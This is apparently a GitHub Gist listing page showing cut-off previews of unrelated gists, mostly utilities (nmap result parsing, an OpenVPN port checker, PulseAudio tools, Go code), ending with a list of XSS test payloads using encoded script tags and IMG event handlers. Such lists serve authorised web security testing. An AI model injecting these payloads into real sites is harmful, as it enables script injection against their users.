This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
nmap-uphosts() { | |
FILE=`realpath $1` | |
echo " | |
from lxml import etree | |
t = etree.parse('$FILE') | |
if \"-Pn\" in t.xpath(\"string(@args)\"): # port scan | |
hosts = t.xpath(\"/*/host[ports/port/state[@state='open']]/address[@addrtype='ipv4']/@addr\") | |
else: # ping scan | |
hosts = t.xpath(\"/*/host[status[@state='up']]/address[@addrtype='ipv4']/@addr\") | |
print(' '.join(hosts)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/env python3 | |
import os | |
import time | |
import subprocess | |
import argparse | |
# Maps a string contained in name, description, or product_name to our custom name | |
custom_names = { | |
"Plantronics_Blackwire_5220": "PLT 5220", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# | |
# Check if an OpenVPN server runs on a given UDP or TCP port. | |
# | |
import os | |
import sys | |
import time | |
import hmac | |
import hashlib |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/env python | |
# | |
# cyclesink sets all audio sources (sink inputs) to the same next | |
# sink in PulseAudio. PulseAudio sets newly created sink inputs to | |
# use the sink that was last assigned to, so all sources should always | |
# be using the same output unless the configuration is changed elsewhere. | |
import os | |
def get_sinks(): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package dgraph | |
import ( | |
"errors" | |
"fmt" | |
"reflect" | |
"strings" | |
"sync/atomic" | |
"github.com/mitchellh/reflectwalk" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"bytes" | |
"encoding/json" | |
"errors" | |
"fmt" | |
flags "github.com/jessevdk/go-flags" | |
"io" | |
"io/ioutil" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{{- /* map from db type to non-null protobuf go type */ -}} | |
{{- $pbTypes := makeMap "bigint" "int64" "boolean" "bool" "character varying" "string" "character" "string" "date" "*timestamp.Timestamp" "integer" "int64" "smallint" "int32" "text" "string" "timestamp with time zone" "timestamp.Timestamp" "timestamptz" "*timestamp.Timestamp" "tsvector" "string" "varchar" "string" "uuid" "string" "bytea" "[]byte" "jsonb" "string" "action_type" "ActionType" "project_type" "ProjectType" "stage_type" "StageType" "tag_type" "TagType" "user_assoc_type" "UserAssocType" -}} | |
{{- /* map from db type to null protobuf go type */}} | |
{{- $pbNullTypes := makeMap "bigint" "*wrappers.Int64Value" "boolean" "*wrappers.BoolValue" "character varying" "*wrappers.StringValue" "date" "*timestamp.Timestamp" "integer" "*wrappers.Int64Value" "jsonb" "*wrappers.StringValue" "text" "*wrappers.StringValue" "timestamp with time zone" " *timestamp.Timestamp" "timestamptz" "*timestamp.Timestamp" "uuid" "*wrappers.StringValue"}} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# use none for unchanged color | |
# match groups appear to match in reverse order | |
# | |
# https://github.com/pengwynn/grc/blob/master/grcat | |
# | |
# ip address | |
regexp=\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3} | |
colours=bold yellow | |
====== |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"log" | |
"os" | |
"regexp" | |
"strings" | |
"baliance.com/gooxml" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
NewerOlder